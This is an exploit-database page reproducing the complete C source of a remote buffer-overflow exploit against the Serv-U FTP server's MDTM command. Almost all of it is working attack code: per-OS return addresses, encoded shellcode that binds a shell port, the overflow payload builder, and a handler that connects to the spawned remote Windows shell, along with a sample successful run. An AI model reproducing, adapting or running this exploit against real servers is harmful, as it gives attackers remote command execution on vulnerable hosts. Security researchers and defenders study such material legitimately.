Lucene search
K

Serv-U FTPD 3.x/4.x/5.x (MDTM) Remote Overflow Exploit

🗓️ 05 Jun 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

Serv-U FTPD Remote Overflow Exploi

Code

                                                /* ex_servu.c - Serv-U FTPD 3.x/4.x/5.x "MDTM" Command remote overflow exploit
*
* Copyright (c) SST 2004 All rights reserved.
*
* Public version
*
* BUG find by bkbll ([email protected]), cool! :ppPPppPPPpp :D
*
* code by Sam and  2004/01/07
*      <[email protected]>
*                     <[email protected]>
*                    
*
* Revise History:
*      2004/01/14 add rebind shellcode :> we can bind shellport at ftpd port.
*      2004/01/09 connect back shellcode added :)
*      2004/01/08 21:04 upgrade now :), we put shellcode in file parameter
*       we can attack pacthed serv-U;PPPp by airsupply
*  2004/01/08 change shellcode working on serv-u 4.0/4.1/4.2 now 
*      :D thx airsupply
*
* Compile: gcc -o ex_servu ex_servu.c
*
* how works?
* [root@core exp]# ./sv -h 192.168.10.119 -t 3
* Serv-U FTPD 3.x/4.x MDTM Command remote overflow exploit
* bug find by bkbll ([email protected]) code by Sam ([email protected])
*
* # Connecting......
*  [+] Connected.
*  [*] USER ftp .
*  [*] 10 bytes send.
*  [*] PASS sst@SERV-u .
*  [*] 17 bytes send.
*  [+] login success .
*  [+] remote version: Serv-U v4.x with Windows XP EN SP1
*  [+] trigger vulnerability !
*   [+] 1027 bytes overflow strings sent!
*  [+] successed!!
*
*
*  Microsoft Windows XP [Version 5.1.2600]
*  (C) Copyright 1985-2001 Microsoft Corp.
*
*  [Sam Chen@SAM C:\]#
*
*
* some thanks/greets to:
* bkbll (he find this bug :D), airsupply, kkqq, icbm
* and everyone else who's KNOW SST;P
* http://0x557.org
*/

#include <stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/time.h>

#define VER "v5.0"

#define clearbit(buff)          bzero(buff, sizeof (buff));
#define padding(buff, a)        memset(buff, a, sizeof (buff));

#define MAX_LEN         2048
#define MAX_NUM         4

int     x = 0, port = 21, shellport;
char    pass[20], user[20];

struct archs {
       char            *desc;
       unsigned int    magic;

}architectures[] = {


       {
               "Serv-U v3.x/4.x/5.x  with Windows 2K CN",   //winmm.dll
               0x77535985

       },
        {
               "Serv-U v3.x/4.x/5.x  with Windows 2K BIG5 version",   //winmm.dll
                0x77531790

       },
       {
               "Serv-U v3.x/4.x/5.x  with Windows 2K EN",
               0x77575985

       },

       {
               "Serv-U v3.x/4.x/5.x  with Windows XP CN SP1",
               0x76b12f69

       },
       {
               "Serv-U v3.x/4.x/5.x  with Windows XP EN SP1",
               0x76b42a3a

}

};

char decoder [] =
/* 36 bytes cool decoder by airsupply :) */

"\x90\x90\x90\x5E\x5F\x5B\xBE\x52\x52\x49\x41\x46\xBF\x52\x52\x31"
"\x41\x47\x43\x39\x3B\x75\xFB\x4B\x80\x33\x99\x39\x73\xFC\x75\xF7"
"\xFF\xD3\x90\x90";

/* fork + rebind shellcode  by airsupply (one way shellcode) */
char    shellcode [] =

"\x53\x52\x49\x41"

/*port offset 120 + 4*/
"\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12\xD9\x85\x12\x99\x12\xD9"
"\x91\x18\x75\x19\x98\x99\x99\x12\x65\x12\x76\x32\x70\x8B\x9B\x99"
"\x99\xC7\xAA\x50\x28\x90\x66\xEE\x65\x71\xB9\x98\x99\x99\xF1\xF5"
"\xF5\x99\x99\xF1\xAA\xAB\xB7\xFD\xF1\xEE\xEA\xAB\xC6\xCD\x66\xCC"
"\x9D\x32\xAA\x50\x28\x9C\x66\xEE\x65\x71\x99\x98\x99\x99\x12\x6C"
"\x71\x94\x98\x99\x99\xAA\x66\x18\x75\x09\x98\x99\x99\xCD\xF1\x98"
"\x98\x99\x99\x66\xCF\xB5\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF"
"\xA9\x12\x41\xCE\xCE\xF1\x9B\x99\x8C\x5B\x12\x55\xCA\xC8\xF3\x8F"
"\xC8\xCA\x66\xCF\xAD\xC0\xC2\x1C\x59\xEC\x68\xCE\xCA\x66\xCF\xA1"
"\xCE\xC8\xCA\x66\xCF\xA5\x12\x49\x10\x1F\xD9\x98\x99\x99\xF1\xFC"
"\xE1\xFC\x99\xF1\xFA\xF4\xFD\xB7\x10\x3F\xA9\x98\x99\x99\x1A\x75"
"\xCD\x14\xA5\xBD\xAA\x59\xAA\x50\x1A\x58\x8C\x32\x7B\x64\x5F\xDD"
"\xBD\x89\xDD\x67\xDD\xBD\xA5\x67\xDD\xBD\xA4\x10\xCD\xBD\xD1\x10"
"\xCD\xBD\xD5\x10\xCD\xBD\xC9\x14\xDD\xBD\x89\x14\x27\xDD\x98\x99"
"\x99\xCE\xC9\xC8\xC8\xC8\xD8\xC8\xD0\xC8\xC8\x66\x2F\xA9\x98\x99"
"\x99\xC8\x66\xCF\x91\xAA\x59\xD1\xC9\x66\xCF\x95\xCA\xCC\xCF\xCE"
"\x12\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81"
"\x12\xC3\xB9\x9A\x44\x7A\xA9\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65"
"\xAA\x59\x35\xA3\x79\xED\x9E\x58\x56\x9E\x9A\x61\x72\x6B\xA2\xE5"
"\xBD\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85"
"\x9A\x44\x12\x9D\x12\x9A\x5C\xC6\xC7\xC4\xC2\x5B\x9D\x99\xC8\x66"
"\xED\xBD\x91\x34\xC9\x71\x3B\x66\x66\x66\x1A\x5D\x9D\xC0\x32\x7B"
"\x74\x5A\xF1\xFC\xE1\xFC\x99\xF1\xFA\xF4\xFD\xB7\x10\x3F\xA9\x98"
"\x99\x99\x1A\x75\xCD\x14\xA5\xBD\xAA\x59\xAA\x50\x1A\x58\x8C\x32"
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA5\x67\xDD\xBD\xA4\x10"
"\xDD\xBD\xD1\x10\xDD\xBD\xD5\x10\xDD\xBD\xC9\x14\xDD\xBD\x89\x14"
"\x27\xDD\x98\x99\x99\xCE\xC9\xC8\xC8\xF3\x9D\xC8\xC8\xC8\x66\x2F"
"\xA9\x98\x99\x99\xC8\x66\xCF\x91\x18\x75\x99\x9D\x99\x99\xF1\x9E"
"\x99\x98\x99\xCD\x66\x2F\xD1\x98\x99\x99\x66\xCF\x89\xF3\xD9\xF1"
"\x99\x89\x99\x99\xF1\x99\xC9\x99\x99\xF3\x99\x66\x2F\xDD\x98\x99"
"\x99\x66\xCF\x8D\x10\x1D\xBD\x21\x99\x99\x99\x10\x1D\xBD\x2D\x99"
"\x99\x99\x12\x15\xBD\xF9\x9D\x99\x99\x5E\xD8\x62\x09\x09\x09\x09"
"\x5F\xD8\x66\x09\x1A\x70\xCC\xF3\x99\xF1\x99\x89\x99\x99\xC8\xC9"
"\x66\x2F\xDD\x98\x99\x99\x66\xCF\x81\xCD\x66\x2F\xD1\x98\x99\x99"
"\x66\xCF\x85\x66\x2F\xD1\x98\x99\x99\x66\xCF\xB9\xAA\x59\xD1\xC9"
"\x66\xCF\x95\x71\x70\x64\x66\x66\xAB\xED\x08\x95\x50\x25\x3F\xF2"
"\x16\x6B\x81\xF8\x51\xCE\xD6\x88\x68\xE2\x05\x76\xC1\x96\xD8\x0E"
"\x51\xCE\xD6\x8E\x4F\x15\x07\x6A\xFA\x10\x48\xD6\xA4\xF3\x2D\x19"
"\xB4\xAB\xE1\x47\xFD\x89\x3E\x44\x95\x06\x4A\xD2\x28\x87\x0E\x98"
"\x06\x06\x06\x06"
"\x53\x52\x31\x41";


/* new:
* tcp connect with no block socket, host to ip.
* millisecond timeout, it's will be fast.
*;D
* 2003/06/23 add by Sam
*/
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout)
{
       int                     sock,
                               flag,
                               pe = 0;
       size_t                  pe_len;
       struct timeval          tv;
       struct sockaddr_in      addr;
       struct hostent*         hp = NULL;
       fd_set                  rset;

       // reslov hosts
       hp = gethostbyname (host);
       if (NULL == hp) {
               perror ("tcpConnect:gethostbyname\n");
               return -1;
       }

       sock = socket (AF_INET, SOCK_STREAM, 0);
       if (-1 == sock) {
               perror ("tcpConnect:socket\n");
               return -1;
       }

       addr.sin_addr = *(struct in_addr *) hp->h_addr;
       addr.sin_family = AF_INET;
       addr.sin_port = htons (port);

       /* set socket no block
        */
       flag = fcntl (sock, F_GETFL);
       if (-1 == flag) {
               perror ("tcpConnect:fcntl\n");
               close (sock);
               return -1;
       }

       flag |= O_NONBLOCK;
       if (fcntl (sock, F_SETFL, flag) < 0) {
               perror ("tcpConnect:fcntl\n");
               close (sock);
               return -1;
       }

       if (connect (sock, (const struct sockaddr *) &addr,
                           sizeof(addr)) < 0 &&
           errno != EINPROGRESS) {
               perror ("tcpConnect:connect\n");
               close (sock);
               return -1;
       }

       /* set connect timeout
        * use millisecond
        */
       tv.tv_sec = timeout/1000;
       tv.tv_usec = timeout%1000;

       FD_ZERO (&rset);
       FD_SET (sock, &rset);

       if (select (sock+1, &rset, &rset, NULL, &tv) <= 0) {
//                perror ("tcpConnect:select");
               close (sock);
               return -1;
       }

       pe_len = sizeof (pe);

       if (getsockopt (sock, SOL_SOCKET, SO_ERROR, &pe, &pe_len) < 0) {
               perror ("tcpConnect:getsockopt\n");
               close (sock);
               return -1;
       }

       if (pe != 0) {
               errno = pe;
               close (sock);
               return -1;
       }

       if (fcntl(sock, F_SETFL, flag&~O_NONBLOCK) < 0) {
               perror ("tcpConnect:fcntl\n");
               close (sock);
               return -1;
       }

       pe = 1;
       pe_len = sizeof (pe);

       if (setsockopt (sock, IPPROTO_TCP, TCP_NODELAY, &pe, pe_len) < 0){
               perror ("tcpConnect:setsockopt\n");
               close (sock);
               return -1;
       }

       return sock;
}

/* rip code, from hsj */
int sh (int in, int out, int s)
{
       char    sbuf[128], rbuf[128];
       int     i,
               ti, fd_cnt,
               ret=0, slen=0, rlen=0;
       fd_set  rd, wr;

       fd_cnt = in > out ? in : out;
       fd_cnt = s > fd_cnt ? s : fd_cnt;
       fd_cnt ++;

       for (;;) {
               FD_ZERO (&rd);
               if (rlen < sizeof (rbuf))
                       FD_SET (s, &rd);
               if (slen < sizeof (sbuf))
                       FD_SET (in, &rd);

               FD_ZERO (&wr);
               if (slen)
                       FD_SET (s, &wr);
               if (rlen)
                       FD_SET (out, &wr);

               if ((ti = select (fd_cnt, &rd, &wr, 0, 0)) == (-1))
                       break;
               if (FD_ISSET (in, &rd)) {
                       if((i = read (in, (sbuf+slen),
                       (sizeof (sbuf) - slen))) == (-1)) {
                               ret = -2;
                               break;
                       }
                       else if (i == 0) {
                               ret = -3;
                               break;
                       }
                       slen += i;
                       if (!(--ti))
                               continue;
               }
               if (FD_ISSET (s, &wr)) {
                       if ((i = write (s, sbuf, slen)) == (-1))
                               break;
                       if (i == slen)
                               slen = 0;
                       else {
                               slen -= i;
                               memmove (sbuf, sbuf + i, slen);
                       }
                       if (!(--ti))
                               continue;
               }
               if (FD_ISSET (s, &rd)) {
                       if ((i = read (s, (rbuf + rlen),
                       (sizeof (rbuf) - rlen))) <= 0)
                               break;
                       rlen += i;
                       if (!(--ti))
                               continue;
               }
               if (FD_ISSET (out, &wr)) {
                       if ((i = write (out, rbuf, rlen)) == (-1))
                               break;
                       if (i == rlen)
                               rlen = 0;
                       else {
                               rlen -= i;
                               memmove (rbuf, rbuf+i, rlen);
                       }
               }
       }
       return ret;
}


int new_send (int fd, char *buff, size_t len)
{
       int     ret;

       if ((ret = send (fd, buff, len, 0)) <= 0) {
               perror ("new_write");
               return -1;
       }

       return ret;

}

int new_recv (int fd, char *buff, size_t len)
{
       int     ret;

       if ((ret = recv (fd, buff, len, 0)) <= 0) {
               perror ("new_recv");
               return -1;
       }

       return ret;
}

int ftp_login (char *hostName, short port, char *user, char *pass)
{
       int     ret, sock;
       char    buff[MAX_LEN];

       fprintf (stderr, "# Connecting...... \n");
       if ((sock = new_tcpConnect (hostName, port, 4000)) <= 0) {
               fprintf (stderr, "[-] failed. \n");
               return -1;
       }

       clearbit (buff);

       new_recv (sock, buff, sizeof (buff) - 1);
       if (!strstr (buff, "220")) {
               fprintf (stderr, "[-] failed. \n");
               return -1;
       }
       fprintf (stderr, "[+] Connected. \n");

       sleep (1);
       fprintf (stderr, "[*] USER %s .\n", user);
       clearbit (buff);
       snprintf (buff, sizeof (buff), "USER %s\r\n",  user);
       ret = new_send (sock, buff, strlen (buff));
       fprintf (stderr, "[*] %d bytes send. \n", ret);

       sleep (1);

       clearbit (buff);
       new_recv (sock, buff, sizeof (buff) - 1);
       if (!strstr (buff, "331")) {
               fprintf (stderr, "[-] user failed. \n%s\n", buff);
               return -1;
       }

       fprintf (stderr, "[*] PASS %s .\n", pass);
       clearbit (buff);
       snprintf (buff, sizeof (buff), "PASS %s\r\n", pass);
       ret = new_send (sock, buff, strlen (buff));
       fprintf (stderr, "[*] %d bytes send. \n", ret);

       sleep (1);

       clearbit (buff);
       new_recv (sock, buff, sizeof (buff) - 1);
       if (!strstr (buff, "230")) {
               fprintf (stderr, "[-] pass failed. \n%s\n", buff);
               return -1;
       }

       fprintf (stderr, "[+] login success .\n");

       return sock;

}

void do_overflow (int sock)
{
       int             ret, i;
       unsigned short newport;
       char    Comand [MAX_LEN] = {0}, chmodBuffer [600], rbuf[256];

       clearbit (Comand);
       clearbit (rbuf);

       clearbit (chmodBuffer);
       
       for(i = 0; i < 47; i++) 
        strcat(chmodBuffer, "a");
for(i = 0; i < 16; i += 8) {
        *(unsigned int*)&chmodBuffer[47+i] = 0x06eb9090;
        *(unsigned int*)&chmodBuffer[51+i] = architectures[x].magic; //0x1002bd78;  //pop reg pop reg ret
}


newport = htons (shellport)^(unsigned short)0x9999;
memcpy (&shellcode[120 + 4], &newport, 2);

 strcat(chmodBuffer, decoder);
 

       fprintf (stderr, "[+] remote version: %s\n", architectures[x].desc);

       fprintf (stderr, "[+] trigger vulnerability !\n ");
       strcpy (Comand, "MDTM 20031111111111+");
       strncat (Comand, chmodBuffer, strlen (chmodBuffer) - 1);
       strcat (Comand, " ");


       strcat (Comand, shellcode);
      
       strcat (Comand, "hacked_by.sst\r\n");

       ret =  new_send (sock, Comand, strlen (Comand));
       fprintf (stderr, "[+] %d bytes overflow strings sent!\n", ret);


       return;
}

/* print help messages.
* just show ya how to use.
*/
void showHELP (char *p)
{
       int     i;

       fprintf (stderr, "Usage: %s [Options] \n", p);
       fprintf (stderr, "Options:\n"
               "\t-h [remote host]\tremote host\n"
               "\t-P [server port]\tserver port\n"
               "\t-t [system type]\tchoice the system type\n"
               "\t-u [user   name]\tlogin with this username\n"
               "\t-p [pass   word]\tlogin with this passwd\n"
               "\t-d [shell  port]\trebind using this port (default: ftpd port)\n\n");


       printf ("num . description\n");
       printf ("----+-----------------------------------------------"
               "--------\n");
       for (i = 0; i <= MAX_NUM; i ++) {
               printf ("%3d | %s\n", i, architectures[i].desc);
       }
       printf ("    '\n");
       return;
}

int main (int c, char *v[])
{
       int             ch, fd, sd;
       char     *hostName = NULL, *userName = "ftp", *passWord = "sst@SERV-u";
       shellport  = port;
       

       fprintf (stderr, "Serv-U FTPD 3.x/4.x/5.x MDTM Command remote overflow exploit "VER"\n"
               "bug find by bkbll ([email protected]) code by Sam ([email protected])\n\n");

       if (c < 2) {
               showHELP (v[0]);
               exit (1);
       }

       while((ch = getopt(c, v, "h:t:u:p:P:c:d:")) != EOF) {
               switch(ch) {
                       case 'h':
                               hostName = optarg;
                               break;
                       case 't':
                               x = atoi (optarg);
                               if (x > MAX_NUM) {
                                       printf ("[-] wtf your input?\n");
                                       exit (-1);
                               }
                               break;
                       case 'u':
                               userName = optarg;
                               break;
                       case 'p':
                               passWord = optarg;
                               break;
                       case 'P':
                        port = atoi (optarg);
                        break;
                       case 'd':
                        shellport = atoi (optarg);
                        break;
                       default:
                               showHELP (v[0]);
                               return 0;
               }
       }


       fd = ftp_login (hostName, port, userName, passWord);
       if (fd <= 0) {
               printf ("[-] can't connnect\n");
               exit (-1);
       }

       do_overflow (fd);

close (fd);
 
       sleep (3);
      
       sd = new_tcpConnect (hostName, shellport, 3000);
       if (sd <= 0) {
               printf ("[-] failed\n");
               return -1;
       }

       fprintf (stderr, "[+] successed!!\n\n\n");
       sh (0, 1, sd);

       close (sd);

       return 0;
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Jun 2008 00:00Current
7.1High risk
Vulners AI Score7.1
17